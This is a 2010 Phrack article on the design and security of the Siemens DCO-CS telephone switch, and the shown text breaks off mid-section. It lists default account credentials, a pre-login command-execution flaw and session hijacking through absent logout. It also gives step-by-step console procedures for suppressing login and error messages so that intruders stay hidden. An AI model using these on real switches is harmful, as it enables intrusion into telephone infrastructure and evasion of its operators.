![..[ Phrack Magazine ]..](../../images/phrack-logo.jpg){kind=logo}
.:: Notes Concerning The Security, Design and Administration of Siemens DCO-CS ::.
Issues:
[ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ] [ 19 ] [ 20 ] [ 21 ] [ 22 ] [ 23 ] [ 24 ] [ 25 ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 ] [ 38 ] [ 39 ] [ 40 ] [ 41 ] [ 42 ] [ 43 ] [ 44 ] [ 45 ] [ 46 ] [ 47 ] [ 48 ] [ 49 ] [ 50 ] [ 51 ] [ 52 ] [ 53 ] [ 54 ] [ 55 ] [ 56 ] [ 57 ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 ] [ 66 ] [ 67 ] [ 68 ] [ 69 ] [ 70 ] [ 71 ]
Current issue : #67 | Release date : 2010-11-17 | Editor : The Phrack Staff
| Introduction | The Phrack Staff |
| Phrack Prophile on Punk | The Phrack Staff |
| Phrack World News | EL ZILCHO |
| Loopback (is back) | The Phrack Staff |
| How to make it in Prison | TAp |
| Kernel instrumentation using kprobes | ElfMaster |
| ProFTPD with mod_sql pre-authentication, remote root | FelineMenace |
| The House Of Lore: Reloaded ptmalloc v2 & v3: Analysis & Corruption | blackngel |
| A Eulogy for Format Strings | Captain Planet |
| Dynamic Program Analysis and Software Exploitation | BSDaemon |
| Exploiting Memory Corruptions in Fortran Programs Under Unix/VMS | Magma |
| Phrackerz: Two Tales | Antipeace & The Analog Kid |
| Scraps of notes on remote stack overflow exploitation | pi3 |
| Notes Concerning The Security, Design and Administration of Siemens DCO-CS | The Philosopher |
| Hacking the mind for fun and profit | lvxferis |
| International scenes | various |
Title : Notes Concerning The Security, Design and Administration of Siemens DCO-CS
Author : The Philosopher
==Phrack Inc.==
Volume 0x0e, Issue 0x43, Phile #0x0e of 0x10
|=-----------------------------------------------------------------------=|
|=-----=[ Notes Concerning the Security, Design and Administration ]=----=|
|=-----------=[ of Siemens DCO-CS Digital Switching Systems ]=-----------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ By The Philosopher ]=-----------------------=|
|=--------------------=[ [email protected] ]=--------------------=|
|=-----------------------------------------------------------------------=|
Relevance/Context-
The Siemens DCO-CS (Digital Central Office Carrier Switch), the premier
Class 5 digital local office switching system to be introduced onto the
American PSTN, (by Stromberg-Carlson-Siemens had not yet purchased the
product line) was originally installed in 1977 in Richmond Hill, Virginia.
Designed as a robust switch rich in features primarily to be used for
smaller LECs, the DCO was produced for over a decade until Siemens, which
acquired the product line in 1990, halted production to focus upon
marketing the EWSD. Nonetheless the DCO-CS remains in relatively widespread
use throughout the PSTN, often in the possession of smaller CLECs (usually
servicing rural areas). For those who wish to explore PSTN switches as well
as those with the objective of securing them, the DCO-CS is worthy of
examination as security of any substance is largely nonexistent.
In light of the above historical information, evidently attributable
becomes the extremely poor security of the DCO-CS to the context of the
time period in which it was initially designed, within nearly a decade
prior to the wide proliferation of the hacker culture potentially
interested in unauthorized entry into telco switches; in addition, the
mentioned relative inclusiveness of features especially as were developed
and added to the existing MMI over a lengthy period of time serves to
establish the potential to defeat the security precautions built into the
switch with its own valid MMI commands. One example: although this is not
directly related to security, many commands in the debug utilities (GBUG,
FPBUG, DEBUG, etc.) in certain versions of the DCO-CS operating system are
redundant in that they are identical yet named differently, so that when
"HELP COMMAND" is entered at the prompt, identical help data will be
displayed for both command names, one of which is usually abbreviated.
Demonstrative this example is of the layered and almost modular evolution
of the DCO MMI. Software updates/upgrades are seemingly uploaded in a
modular fashion without regard for the previous state of the software in
question. The modularity of the interface is further reflected in the
incompatibility of particular utilities with the standard menu
characteristics. It may be observed, for example, that certain utilities
do not contain a "HELP" option as is typical, and that certain utilities
use a linear parameter input system rather than a menu-driven system. It
was likely anticipated upon the design of such programs/commands that the
user would be experienced in and knowledgeable of their usage, rendering an
extensive help file unnecessary.
A Distinction of DCO Terminology-
The words "program", "utility", and "command" will be used somewhat
interchangeably throughout this document, in reference to the commands
prefixed with a "$" at the main MMGR prompt (DCO>) that serve to invoke
interactive menu/parameter systems with specific functions. Also, "DCO"
actually refers to older software revisions prior to the Siemens
acquisition of the line, which was henceforth known as "DCO-CS", but here
it will simply be used as an abbreviation of sorts for the latter, since
the material in this article applies to most software revisions unless
stated otherwise. Also, DCO can refer to the entire DCO family of switches,
including DCO-E, DCO-SE, and DCO-RLS.
Objectives-
In formulating the structure of this paper I encountered minor difficulty
in the establishment of a consistent method of organization and concept
presentation. Initially I intended it to concern solely vulnerabilities
inherent in the design of the DCO-CS and commensurate methods of exploiting
them in order to maximize the concealment of one's presence in such a
system. Quickly I realized, however, that a great deal of explanation of
switch operation was necessary to provide a context in which to discuss
techniques of intrusion and anti-detection, and that documentation/articles
currently available to the underground are inadequate and quite lacking in
this regard; however, they are recommended reference material, for at
minimum they contain the text of the help files of the DCO and a small
amount of basic access suggestions. Consequently this writing exhibits both
modularity and general information, encompassing sections concerning
specific points of interest in conjunction with occasionally redundant
material regarding the switch itself. This facilitates rapid look-up and
browsing through specific techniques, while providing beginning readers
with a satisfactory base of navigational knowledge. It will be assumed,
though, that the reader has access to the help file text, available in
"Guide to navigating and using DCO", written by DemonBytez of CyBrids CSE,
and Mr. Nobody's "The DCO-CS Operating System", both available in various
locations on the Internet. One should also possess at least the background
knowledge covered in both of these articles in order to enhance one's
comprehension of much of the following material. In addition to technical
information surrounding the DCO-CS with an obvious emphasis upon security,
the following also contains the observations of the author as to the
administration of such switches and specifically common practices related
thereto. As the title suggests, these writings, while they present a
coherent article that one may fruitfully follow from introduction to
conclusion, exhibit the general form of notes. Specific techniques are
presented in a sort of "Problem/Solution" format. Also, for evident reasons
of which I am confident the reader is aware, the location data, dates, and
times have been altered or omitted from the captures included herein.
Specific node/site identification information is replaced with
"DCO_CITYDATA" in the following captures, and all dates and times are
either fictitious examples or zeroes simply designed to demonstrate the
general format of the messages. Also, another important note of which to be
mindful is that, while to the extent of the author's knowledge all of the
material contained within this article is correct, the observations made
will not necessarily apply to every DCO switch installation everywhere.
They are generalizations derived from a small sample size and should be
considered as such.
Speculative and Factual Observations as to the Nature of DCO Access
-------------------------------------------------------------------
and General Administration
--------------------------
DCO-CS Topology-
Note: "TTY" herein is used in accordance with its definition, "A generic
term for any computer terminal or associated serial interface" and
"terminal" is used in accordance with the definition, "a device
communicating over a line". (Source: Wikipedia @ http://www.wikipedia.org)
No references to teletypes or TDDs (Telecommunication Devices for the Deaf)
are intended.
Like the Lucent 5ESS, the Siemens DCO-CS is administered through different
TTYs (although, unlike the 5ESS, access to the DCO is not divided into as
many specialized "channels"), with different attributes and functions. The
four types of terminals on the switch, as listed in the help file of the
SETTYP option of the SECTTY utility, are UNEQ (unequipped), CRT (video
display-the I/O terminals from which the switch is directly administered),
TTP (paper printer), and MODEM. The identifying format of these terminals
is TTXX, where XX represents two digits. TT00 is the default system master
console, the terminal from which the MMI as well as various automatic
utilities are consistently run and at which all information, error and
alarm messages terminate (unless they are directed elsewhere-see later in
the document for further information). Dialups connect to other CRT
terminals for remote access.
MMI Idiosyncrasies-
A few notes on the use of the MMI: first, a semicolon ";" serves the same
function as a <CR> (carriage return). Backspaces are displayed as "u".
Within a few utilities, "EXIT" will take effect immediately after being
typed (without a <CR> or ;). If one is idle for a while at a prompt or
menu, "^U" will appear and the prompt will be re-displayed.
Account/User Hierarchy and Structure-
While the hierarchical filesystem arrangement of the DCO-CS bears a
striking fundamental resemblance to that of UNIX, organized a similar
hierarchy of directories and subdirectories with predefined permissions,
the user administration system exhibits numerous significant differences in
its structure. For example, there exists no "root" superuser with
unbridled access to everything, and no user account may interfere directly
in the affairs of another ("directly" here defined as "from the (same)
shell/session") as might be accomplished through successful execution of
the UNIX "su" command. User accounts are instead divided and categorized
into certain groups with certain "purposes" on the switch in anticipation
of differing necessities. The default groups are ADMIN, TMRS, STATUS,
MAINT, SECURE, NAC, ESPF, and SCAT respectively; by default their access is
assigned according to the necessary tasks of each type. The access rights
of accounts are not quantitatively equivalent, either-certain, more
generally used accounts are able to access far more by default than more
specialized accounts, the access of which is restricted to only those
utilities relevant to their intended functions. All of the usernames and
passwords to the various accounts within these groups are contained in the
file printed and modified using the utility $PASSWM. These may or may not
be set to the default, but it is rather likely that they will be, and even
if this is not the case the passwords are unlikely to be very complex due
to the limitations imposed by the MMI (passwords on a DCO may be at maximum
eight characters in length, and only alphanumeric) and simple human apathy;
in many instances it would seem as if extremely simplistic and
easily-guessable/crackable passwords are used on switches due to a
disbelief in the plausibility of unauthorized access. Regardless, the
default passwords for all pre-programmed usernames are simply the usernames
themselves-for instance, the SCAT/SCAT username/password combination. A
concise table of DCO default accounts is as follows:
DCO Defaults
____________
Username Password Group
======== ======== =====
ADMIN ADMIN ADMIN
SECURE SECURE SECURE
TMRS TMRS TMRS
SCAT SCAT SCAT
MAINT MAINT MAINT
STATUS STATUS STATUS
NAC NAC NAC
ESPF ESPF ESPF
It is significant to the attainment and preservation of one's access on a
DCO-CS switch to understand the previously mentioned expected "uses" of
each group of accounts, as one ought to align explorations of the switch
with the anticipated functions for reasons of stealth-an unauthorized user
is far less likely to be detected when using certain accounts for certain
functions that they are intended to be "legitimately" used for. The
execution of certain utilities while logged in under certain accounts might
be viewed as either suspicious or routine by a watchful administrator,
depending upon the account and context in which the activity occurs.
Although a few techniques exist that serve to provide such a user with a
greater degree of "freedom" in this regard by concealing from those
monitoring the switch evidence of non-routine activity as is covered
elsewhere in this article, it is still useful and certainly prudent to
coincide one's activity with appropriate accounts in a limited number of
instances. Plus, it is important to consider that the efficient and
stealthy employment of the techniques that follow may not always be
practical or possible, so this general method of remaining proverbially
"under the radar" is fundamentally beneficial. An explanation of the
various groups/default accounts follows:
ADMIN - This is an administrative group/account, used primarily for the
purposes of administering the various tables and databases on the switch,
especially those that pertain to network/routing functions. What the
authors of the previously mentioned DCO articles obviously failed to
realize, in their insinuations to the effect that ADMIN is an all-powerful
account with extremely extensive access rights, is that ADMIN is merely
another account with access rights defined according to the necessary tasks
of its group. It lacks access to a great deal by default, actually,
especially files and utilities concerning switch security. The access
rights of ADMIN often overlap with those of MAINT; therefore, it is
necessary to understand the differentiations between them, revealed
through a closer examination of the areas in which the two accounts/groups
do not overlap. MAINT, as explained in greater detail later, is an account
intended to be used for the performance of routine maintenance
functions-the administration of such tables is not routine maintenance, as
is reflected in the access rights of the MAINT group/account. The default
access of the admin account may also be conceptualized as the bridge of
sorts between "intra-switch" and "extra-switch" functions-that is,
functions (and corresponding utilities/files) that are related only to the
switch itself (intra-switch), and those with a broader sphere of influence
on the network (extra-switch). See the "Utility Diagram" for more
information on and examples of this concept. Examples of strictly
intra-switch functions include disk operations, processor operations,
debugging, etc.-similarly, examples of extra-switch functions include call
tracing, routing, trunk operations, WATS number functions, etc. ADMIN by
default also has access to intra-switch administrative utilities such as
ABNUTL (PERFORM AUTOMATIC BALANCE NETWORK FUNCTIONS), AUDIT (VERIFY S/W
RECORD OF H/W STATES MATCH ACTUAL H/W), COPY (COPY DATABASES FROM MEMORY TO
DISK), etc. where it overlaps with MAINT.
SECURE - The access of SECURE largely overlaps with all other account
groups on the utilities to which all or nearly all other account groups
have default access ($ABORT, $AMPUTL, $CONFIG, $DUMPER, $HEY, etc.). Its
specialization is revealed, though, in the utilities accessible only by it
and SCAT, or it, SCAT, and MAINT. These include various alarm utilities,
$PASSWM, $BLDINH, and $SECTTY-all utilities regarding switch security, as
the name of the group implies. In a limited number of cases SECURE may be
less conspicuous than SCAT if only these sorts of utilities must be
accessed.
TMRS - This group/account is primarily intended for uses related to the
Traffic Measurement and Recording System (TMRS), a system that gauges
network traffic through the switch and generates reports with pertinent
information. On a side note, TMRS may often be an active task on the master
console. It is able to access many intra-switch functions necessary to the
expedient operation of TMRS, as might be assumed-debug utilities,
configuration control, etc. Its access rights frequently overlap with those
of ADMIN and STATUS.
SCAT - The closest group/account present on the DCO-CS to a "superuser".
SCAT is an acronym for "Stromberg-Carlson Assistance Team", the DCO-CS
equivalent of ETAS on a DMS-100. The function of SCAT, while the DCO-CS
product line was supported by Stromberg-Carlson/Siemens, was to provide
technical support for the install base in the instance of technical
problems/failures, especially during emergencies (critical equipment
failure, software issues, etc.). As a result, SCAT is authorized by default
to access nearly everything on the switch within the filesystem, usually
with the highest access rights possible (typically RWX), as, in the event
of an emergency, such omnipotent access would be vitally necessary. The RWX
permission is a significant distinction of the SCAT group as most other
account groups only have read/execute permission on most files. However,
there are a few files on the switch that SCAT is not permitted to access
(by default, naturally)-for instance, the utility $AMCDMP (that which
administers AMA message thresholds). By default, SCAT is often the only
account/group authorized to log in through the dial-up ports, as only SCAT
would usually require remote access to the switch. Logging in as SCAT is
extremely conspicuous, though, particularly at odd hours, as the
account/group is NOT supposed to be used for routine/ordinary tasks. It
would be advisable from an unauthorized user's standpoint to perhaps log in
as SCAT once in order to authorize other account groups to log in through
the dialup(s), until the attentiveness of those overseeing the switch's
operation is gauged.
MAINT - MAINT is the general maintenance group/account on the DCO-CS; as
stated previously, it is used primarily for the performance/execution of
routine (and non-routine) tasks related to switch maintenance. As such, it
is authorized to access a great deal, often exclusively, where SCAT is the
only other account group with access rights on certain files. MAINT is the
only default account group/account, in fact, that is "exclusively"
authorized to access certain utilities in this manner. AMA is an example of
a such a utility to which only MAINT and SCAT have access rights in the
default/typical configuration. As might be expected, MAINT is mainly able
to access intra-switch functions. One preferred, recommended account for
preliminary exploration is MAINT, for it, as a maintenance account, is by
default enabled to access quite a few significant files and programs, and
suspicions may be less aroused should it be seen logging in at odd hours
and/or constantly.
STATUS - The STATUS group/account is, as its name implies, used for
checking and occasionally modifying the status of the system. Its access
overlaps frequently with ADMIN, MAINT, TMRS and, of course, SCAT; the
default access of STATUS is confined to "intra-switch" utilities and the
occasional utility not easily classified as either "intra-" or "extra-"
switch. Most of the utilities to which STATUS is assigned default access
are used for such functions as alarm management, various types of
verification, disk functions, conversion of equipment numbers, etc.
NAC - NAC is an acronym for "Network Access Control"-the administration
charged with overseeing the various pieces of equipment connected to the
network and general network interactions. Expectedly, its default access
mainly lies with "extra-switch" network utilities and the those used to
modify the aforementioned tables, also accessible with ADMIN. The NAC
terminal and thus group may not be equipped on a particular switch (see
"$SECTTY"), so it may not be possible to log in under the NAC default
account.
ESPF - ESP denotes, "Essential Service Protection". Along with ADMIN, NAC
and SCAT, ESPF is typically able to access "extra-switch" utilities such as
those related to routing, the hotline database, INWATS, class of service,
etc., all "essential services". As with NAC, the "ESPF option" may not be
equipped on a particular switch, and thus the account/group associated with
it may be unused. The $STATUS utility may be used to determine if it is
equipped:
STA> AREA TO DISPLAY (AREA=HELP) > ESPF
DCO_CITYDATA
09-00-00 00:00:00 MONDAY ESPF STATUS REPORT:
STATUS: ESPF OPTION NOT EQUIPPED
STATUS COMPLETE
Attainment of Access
--------------------
Upon connecting to a TTY via a dialup or another method, the LOGIN utility
is invoked automatically, which will prompt the user for the username and
password necessary to log in. By default ten attempts at login (entries of
a username and password pair) are permitted before the following message is
displayed, indicating an excess of unsuccessful attempts:
DCO_CITYDATA 09-00-00 00:00:00 LOGIN TT01
MP .0676:TTY=TT1 EXCESSIVE LOGIN ATTEMPTS
Subsequently the user will be "locked out" of the terminal for a period of
approximately five minutes in which the system remains unresponsive to
input. The amount of login attempts made is not "reset" if one disconnects
from the dialup/terminal and reconnects; instead, the tracking of login
attempts is based upon time-one must wait a few minutes prior to attempting
ten more login attempts.
Unauthorized Execution-
Prior to logging on to the switching station, the user is required within
approximately 15 seconds following successful connection to send a hard
break or a <CR> in order to display the prompt. Within this 15 second
period a vulnerability exists whereby a valid MMI (man-machine interface)
command typed and sent will be dutifully executed by the DCO, allowing
temporary control of the MMI command flow to anyone calling the dialup!
Potential for great compromise of the system exists if the attacker runs a
command such as $PASSWM, which prints a complete list of user accounts and
passwords on the switch in clear-text! Note: on the latest software
release, that released in 2003, the maintenance processor (MP) must be
experiencing a malfunction or otherwise be bogged down with an influx of
tasks for this technique to work properly. Of all of the vulnerabilities
presented here the execution of this is the most variable-it has been known
to occur, though, in instances of an MP malfunction, specifically on the
DCO-SE (see "An Additional Note:" for more information).
Absence of Automatic Logout-
Like several older versions of UNIX, the DCO-CS does not automatically log
out of a session in the instance of user disconnection from the
dialup/terminal. Anyone calling the switch will be thus enabled to
"drop in" on the other user's session in all aspects, in addition to being
able to execute commands if a user left the session open while hanging up
the connection/modem. This is task-specific-that is, if a task is not
aborted and the user who executed it hangs up, the sub-prompt for that task
will be displayed to anyone calling the switch thereafter as that task will
be active. This state may include tasks only supposed to be executable by
user accounts with higher levels of access. The sole measure necessary to
ensure success in gaining control of a session and hence potentially the
entire switch (as access may be modified- privileges escalated, depending
upon the account temporarily "hijacked" in this fashion, etc.) is to
consider the time zone in which the object switch is located, in order to
determine prime hours of operation and of account access and usage. In the
instance that the would-be intruder is physically unable to monitor the
dialup/port for dropped sessions and exploit them, a simple script written
in a language compatible with the terminal client of choice is all that is
required. Thus, this single characteristic of the switch-among others, it
is certain, seen previously and henceforth in this admittedly alinear
document-ensures that one who accrues the knowledge of a dialup is very
nearly guaranteed successful infiltration/ penetration of it, even in the
face of other, also ineffective barriers erected presumably for purposes of
security. However, one may experience a limited degree of difficulty with
this method of intrusion in the instance that one has logged in via the
dialup port and properly logged out, in which case another one of the
aforementioned loopholes may be traversed in order to gain eventual
unfettered access. Also, an option does exist within the $SECTTY utility
(discussed forthwith) to activate an idle logout on a particular TTY, but
even this will not log a user out until an extended period of complete
inactivity has passed-it is still possible to connect to a terminal and
resume a session with this option activated, if one connects within this
said window of time. It is a trivial matter indeed to automatically and
repeatedly call a dialup in order to connect just after a user's activity
has ceased (indicating a departure from the terminal) and prior to the
auto-logout due to inactivity. Regardless, this is not a default setting,
and it is perhaps quite rare that one will encounter it.
Passive Observation-
A rather simple means through which to learn various information pertaining
to a DCO, that which may prove ultimately useful in the attainment of
access thereto, is merely that of passive observation of the information
messages that are displayed even prior to a login-i.e., monitoring the
dialup. This tendency to display status and other messages to anyone who
calls a dialup is quite unique to the DCO, although other switches such as
the EWSD exhibit this characteristic as well. Only messages ordinarily
broadcast to all ports (or the dial-in TTYs, at least) are displayed prior
to login, with the most common utility to which these messages pertain the
$SNCUTL (Synchronous Network Clock Utility). One explanation for this
idiosycrasy lies in the fact that, when one calls a DCO dialup, one is
automatically connected to the corresponding TTY-the login prompt/program
is simply another utility executed like any other (notably, the prompt
itself reveals this-the "LOG>" portion is of the similar format to all
other utility menu prompts-the first three letters of the utility + ">")
except that it is executed automatically upon connection if LOGOFF has been
during the last session from that TTY, as opposed to a front-end program
that must be satisfied with proper credentials in order to connect to the
switch at all. In other words, LOGIN technically serves to restrict access
to the remainder of the utilities and files on the switch through the MMI
rather than access to the MMI itself.
Concealment of Presence
-----------------------
Although the DCO, as has been previously demonstrated, does not exhibit
PREVENTIVE security measures implemented with any degree of rigor, there
does exist a simple yet potentially effective means of detection of
potentially suspicious activity of those with access to the switch:
extensive logging. The majority of actions performed within the MMI are
relentlessly logged and broadcast, in messages of the following format:
DCO_CITYDATA 09-00-00 00:00:00 LOGIN TT01
MP .0354:TTY=TT1,USERNAME=MAINT LOGGED IN
The date, time, program executed or file accessed (if applicable), port of
origination, sortkey, terminal, and message in ASCII text comprise, in that
order from left to right, top to bottom, the message, the likes of which is
output by default to the local terminal in addition to the console (TT00),
where the attentive administrator or technician will undoubtedly notice odd
or unexpected activity, such as logins during strange hours, execution of
programs outside of the aforementioned sphere of tasks of a particular
account, activity on a particular port that may differ from that upon which
the account/user logged in is ordinarily present, etc. The potential
negative impact of this upon the maintenance of one's (presumably
unauthorized) access should be evident; fortunately for the unauthorized
user, there exist a small variety of methods using a few key utilities to
mitigate the effect of these messages.
Defeating the Printing and Logging of Status Messages-
Although it is not directly preventive and thus not a strictly classified
"security" measure, the constant deluge of status messages pertaining to
the execution and exit of utilities, etc., especially that of the LOGIN and
LOGOFF utilities, presents a challenge to potential intruders as they are
by default broadcast to the console (TT00). These messages are identified
by "sortkeys" of the format XXX.0000 or XX.000, where XX(X) are two or
three letters signifying the classification/type of the message and the
zeroes the number of the exact message, which is either three or four
digits in length. Sortkey numbers of three digits in length may be typed
with a preceding zero (MP.0354 or MP.354) as well. A list of sortkey
prefixes (or "groups") follows, provided by $AMPUTL, which is discussed
elsewhere in this document:
AMP> SORTKEY (SORTKEY=HELP) >
VALID RESPONSES ARE GROUP TYPES FOLLOWED BY A GROUP NUMBER YYY.XXXX
YYY IS THE ALPHA QUALIFIER FOR THE GROUP TYPE
XXXX IS THE NUMERIC QUALIFIER FOR THE GROUP NUMBER
* , YYY.* CAN BE USED FOR ALARMS WITHIN A GROUP
'DONE' CAN BE USED TO TERMINATE THE PROMPT IF THE TASK IS IN A REPEAT
MODE
ACI.XXXX - ALARM COMMUNICATION INTERFACE
ADM.XXXX - ADMINISTRATIVE
ALT.XXXX - AUTOMATIC LINE TESTING
AMA.XXXX - AUTOMATED MESSAGE ACCOUNTING
CBC.XXXX - COMMUNICATION BUS CONTROLLER
CLC.XXXX - COMMUNICATION LINK CONTROLLER
CLK.XXXX - SNC, ANI, CLOCKS
CP.XXXX - CALL PROCESSOR ALARMS
CPE.XXXX - CALL PROCESSOR ERROR ALARMS
CUS.XXXX - CUSTOMER GENERATED ALARMS
DLI.XXXX - DATA LINK INTERFACE
DS1.XXXX - DIGITAL T-1 SPAN MODULE ALARMS
ENV.XXXX - ENVIORNMENTAL ALARMS
FP.XXXX - FEATURE PROCESSOR
LGC.XXXX - LINE GROUP CONTROLLER
AMP> ADDITIONAL HELP (MORE=YES) >
LIN.XXXX - LINE
LSC.XXXX - LINE SWITCH CONTROLLER
LTC.XXXX - LINE TEST CONTROLLER
MAH.XXXX - HOST MESSAGE ASSEMBLER
MAR.XXXX - REMOTE MESSAGE ASSEMBLER
MCC.XXXX - MCC ALARMS
MCI.XXXX - MAINTENANCE COMMUNICATION INTERFACE
MDC.XXXX - MAINTENANCE AND DIAGNOSTIC CONTROLLER 1
MD2.XXXX - MAINTENANCE AND DIAGNOSTIC CONTROLLER 2
MIC.XXXX - MESSAGE INTERFACE CONTROLLER
MP.XXXX - MAINTENANCE AND ADMINISTRATION PROCESSOR
PWR.XXXX - POWER ALARMS
RLG.XXXX - REMOTE LINE GROUP
RNG.XXXX - RINGING
RPL.XXXX - REMOTE POLLED LAMA
SLC.XXXX - SLC-96
SS7.XXXX - SS7 ALARMS
SSC.XXXX - SIGNALLING SYSTEM CONTROLLER
SVC.XXXX - SERVICE CIRCUITS
TMP.XXXX = TMP ALARMS
TON.XXXX - TONE
AMP> ADDITIONAL HELP (MORE=YES) >
TPP.XXXX - TELEPHONY PRE-PROCESSOR
TRK.XXXX - TRUNK
TST.XXXX - TEST ALARMS
The knowledge of the sortkey of a particular message is necessary to alter
or display data associated with that message within the following
utilities. Sortkeys may be identified in messages as seen above, or looked
up in the $AMPUTL utility. The messages are quite inherently extensive in
their reporting of the conditions in which the task reported upon was
executed; thus, they provide an extremely incriminating record of
unauthorized or "odd" activity on the switch. The author is personally
aware of at least one specific instance in which an individual's access to
a DCO was permanently terminated due to precisely this-the astute viewing
of messages printed to the console and elsewhere culminating in a
realization of unauthorized activity. It is therefore extremely important
for the unauthorized user to control when, how, and where these messages
are printed. There exist to this end a few effective methods by which to
thwart the tracking of one's activity on the switch using the utilities and
access available as a segment of the MMI. It is recommended that all of
these be used in combination, in order to ensure maximum possible stealth.
All are generally individually limited by the existence of the logging
measures defeated by the others; for instance, the use of the command
parameter /NODIAL is assistive in concealing one's presence, but the
storage and direction of information messages generated by
utilities/programs will require the use of $AMPUTL to protect most fully
the secrecy of usage.
The /NODIAL Parameter-
Within the DCO MMI there are certain parameters that may be affixed to
command strings in order to handle the input and output of commands.
/NODIAL is one such parameter. It is an abbreviation for "NO DIALOGUE",
indicating that the execution of a command/menu option to which it is
affixed will not be itself reported to the defined termination points (the
ports/TTYs to which the message is sent/printed). Alternately conveyed, one
through the use of /NODIAL avoids the printing of this sort of
"BEGIN/END DIALOGUE" message:
DCO_CITYDATA 09-00-00 00:00:00 ADMIN TT01
M ADM.0000: ADMIN BEGIN DIALOGUE
The begin/end dialogue messages may not be manipulated through $AMPUTL or
the other following utilities, since the sortkey ADM.0000 is not recognized
by them as valid. ADM.0000 is a universal sortkey of sorts, used to signify
all "begin dialogue" messages for all utilities/programs; it is thus
unassigned to any particular message. Likewise, sortkey ADM.0001
universally signifies all "end dialogue messages", and is unassigned
therefore as well. An attempt to alter or display a message with sortkey
ADM.0000 through $AMPUTL will prompt the following output:
AMP> SORTKEY (SORTKEY=HELP) > ADM.0000
AMPUTL: SORTKEY IS UNASSIGNED
/NODIAL will offer one a degree of anonymity, then, but it does not prevent
certain messages from being printed/displayed.
Thwarting Information Messages With $AMPUTL-
A method exists to defeat the broadcast of messages using the $AMPUTL
command, the likes of which entails the use of the Alarm Message Processing
Utility, a program accessible to all default groups. The AMPUTL menu system
is as follows:
$AMPUTL
AMP> FUNCTION (FUNCTION=HELP) >
CHANGE - CHANGE MESSAGE
DISPLAY - DISPLAY MESSAGE
EXIT
The "DISPLAY" option will display the text of the message itself in
addition to other information pertaining to it, such as the termination
points, alarm level (if applicable), etc. Here is an example of the output
of "DISPLAY" for sortkey MP.0354, which identifies the message that a user
has logged into the switch:
AMP> FUNCTION (FUNCTION=HELP) > DISPLAY
AMP> SORTKEY (SORTKEY=HELP) > MP.0354
SORTKEY ENTRY MP .354
<TTY><DT1=USERNAME.A8>LOGGED IN
ALARM LEVEL NONE
INFORMATION MESSAGE
NO ACI INTERFACE, TERMINAL LIMIT 0
TERMINATION POINTS ARE CONSOLE, TI:,
The first field obviously contains the sortkey used to identify the
message, the second line/field the ASCII text of the message, the third
field the alarm level, (which is here "NONE" since the logging in and out
of users does not activate an alarm), the fourth the type of message, the
fifth the type of interface and terminal limit associated with the message,
and the final field the termination points. Using the "CHANGE" option to
alter the properties of any particular message, a multitude of options may
be set, but most importantly the text and termination points of the message
may be altered, presenting two possible venues to negate the revealing
effect of such messages. The termination point may be set thus to the
initiating terminal only, or the text of the message may be altered to suit
the needs of an intruder. A list of attributes that may be altered through
CHANGE follows:
AMP> FUNCTION (FUNCTION=DISPLAY) > CHANGE
AMP> FIELD (FIELD=HELP) >
ADMINISTERABLE FIELDS ARE:
EXIT - EXIT AMPUTL
^ - QUIT CHANGE WITHOUT UPDATING
DONE - UPDATE DATABASE ON DISK
ACI - ALARM CONTROL INTERFACE
DELAY - DELAY ALARM SENDING
E2A - E2A ADDRESS
FEI - FAULT, ERROR, OR INFORMATION
GROUP - GROUPING NUMBER
LEVEL - ALARM LEVEL
LIMIT - TERMINAL LIMIT
MASKABLE - MASKABILITY FLAG
REPEAT - REPEAT FLAG
TERMPT - TERMINATION POINTS
TEXT - ASCII TEXT (OUTPUT MESSAGE)
RLS - RLS ALARM MESSAGE
BMP - BMP LED ASSIGNMENT
To alter the termination points of the message, thereby instructing the
switch to print it only to certain specified terminals/TTYs, TERMPT is
entered at the FIELD prompt:
AMP> FIELD (FIELD=HELP) > TERMPT
TERMPTS ARE CONSOLE, TI:,
The current termination points of this message were, as displayed, the
console and TI (initiating terminal). Numerous devices are then presented
which may be set as termination points for the message:
AMP> DEVICE (DEVICE=HELP) >
EXIT - EXIT FROM MASKING UTILITIES
^ - BACKUP TO PREVIOUS PROMPT
DONE
ALL - ALL PORTS
CONSOLE - SYSTEM CONSOLE
NAC - NAC TERMINAL
RLS - RLS TERMINAL
AMATPS - AMATPS MESSAGE FILE
TT00-TT31 - ANY PARTICULAR TTY
TI - INITIATING TERMINAL
For maximum stealth it would be advisable to set the termination points of
a message to the initiating terminal only, so that it will be displayed
only on the remote user's terminal, here TT01, when it is invoked by said
user:
AMP> DEVICE (DEVICE=HELP) > CONSOLE
AMP> STATUS (STATUS=HELP) >
REMOVE
ADD
^
EXIT
AMP> STATUS (STATUS=HELP) > REMOVE
AMP> DEVICE (DEVICE=DONE) >
AMP> FIELD (FIELD=HELP) > TERMPT
TERMPTS ARE TI:,
AMP> DEVICE (DEVICE=HELP) > DONE
AMP> FIELD (FIELD=DONE) >
AMP> FUNCTION (FUNCTION=CHANGE) >
Following this procedure, the termination point of the message MP.0354 is
set only to the initiating terminal; when a user logs in from TT01, the
information message announcing it will only be displayed on his/her
terminal and will not be printed to the console. It would be most useful
for an unauthorized user to set the termination points of the following few
messages to TI only: MP.0354 (<TTY><DT1=USERNAME.A8>LOGGED IN), MP.0343
(<TTY>LOGGED OFF), MP.0676 (<TTY>EXCESSIVE LOGIN ATTEMPTS), MP.0002 (FILE
NOT FOUND ON DISK), MP.0461 (<TASK><FILE>INVALID NAME) and MP.0733 (INVALID
TASK NAME) as these will commonly and naturally, as a matter of course, be
displayed through navigation into and around the switch and reveal
glaringly more than any other information or error messages an unauthorized
presence.
Monitoring Other TTYs and Redirecting Messages With $UTL-
Occasionally during the course of switch use it may prove useful to monitor
and manage tasks active on other terminals and to redirect I/O. The Utility
Program ($UTL) may be employed to accomplish these and other functions
related to task management. Unlike other utilities discussed throughout,
the "function codes" of $UTL must be entered in a single string on the
command line:
$UTL /NODIAL
DCO_CITYDATA
09-00-00 00:00:00 TUESDAY UTILITY PROGRAM
UTL:INVALID FUNCTION CODE
DCO>
$UTL HELP /NODIAL
DCO_CITYDATA
09-00-00 00:00:00 TUESDAY UTILITY PROGRAM
